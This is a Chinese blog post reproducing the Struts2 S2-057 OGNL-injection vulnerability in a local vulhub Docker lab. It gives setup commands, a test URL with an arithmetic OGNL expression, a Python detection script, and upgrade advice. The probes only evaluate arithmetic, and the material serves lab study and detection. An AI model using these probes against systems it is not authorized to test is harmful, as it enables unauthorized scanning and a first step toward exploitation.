哎,最近還是比較忙的,各種麻煩事各種心累,突然想起我還有這么一個博客,想着怎么着也得上來寫點東西,上周爆出了struts2-057漏洞,趁閑的時候復現一下,坑還是蠻多的。
直接開始,這里要膜拜一下大佬https://github.com/jas502n/St2-057
首先本地使用docker部署vulhub,詳細的可以參考https://www.douban.com/note/664677507/,或者百度一下,度娘上面說的還是蠻詳細的。
大概來寫下步驟
$ yum install git-core
$ sudo yum -y install docker-ce
嘗試運行一下
$ docker images
如果出現鏡像列表則說明成功安裝。接下來就需要安裝vulhub了,在這之前,需要先安裝pip
$ wget https://bootstrap.pypa.io/get-pip.py
安裝完成之后嘗試輸入pip,出現選項即說明安裝成功,接下來就可以使用pip來安裝docker-compose
$ pip install docker-compose
直接從github上將vulhub拿下來,由於某些原因,直接下載vulhub會報錯,所以建議直接從github上下載,當然也可以直接下載。
$ git clone https://github.com/vulhub/vulhub
不出意外的話,下載成功以后查看目錄下會出現vulhub,這個時候就可以進去看看里面有些什么,當然里面所包含靶站的還是比較多的,都可以復現一些比較經典的漏洞。
這里重點介紹下struts2-057漏洞吧,進入struts2目錄下,找到struts2-057,進去。
直接使用docker-compose將鏡像安裝起來。
$ docker-compose up -d
看下docker里面鏡像庫,如果出現struts2鏡像則說明安裝成功。
查看psid,復制id后直接啟用環境。
$ docker exec -i -t <id> /bin/bash
環境就搭建起來了,訪問一下ip:port/struts2-showcase/
這里就訪問成功了,之后驗證漏洞,將url換成ip:port/struts2-showcase/${(111+111)}/actionChain1.action
最后可以看到已經變成了ip:port/struts2-showcase/222/register2.action
說明確實存在struts2-057漏洞。這里給出一個大佬的檢測poc。
import sys import requests url = sys.argv[1] url_list = [i for i in url.split("/") if i != ''] payload = "${(65535+521)}" payload = "/" + payload + "/" num = 0 for str in url_list: num += 1 if num == 1: nurl = str continue elif num == 2: nurl = nurl + "//" + str continue elif num == len(url_list): nurl = nurl + payload + str continue else: nurl = nurl + "/" + str continue try: r = requests.head(nurl, stream=True).headers["Location"] except: print "不存在ST2-057漏洞!" exit() if r.find("66056") != -1: print "存在ST2-057漏洞!" else: print "不存在ST2-057漏洞!"
還是基於上面提到的檢測方法,大家可以試一下。
漏洞修復:
本質修復還得官方來,所以只能乖乖升級下版本。升級到Struts 2.3.35、Struts 2.5.17這兩個版本。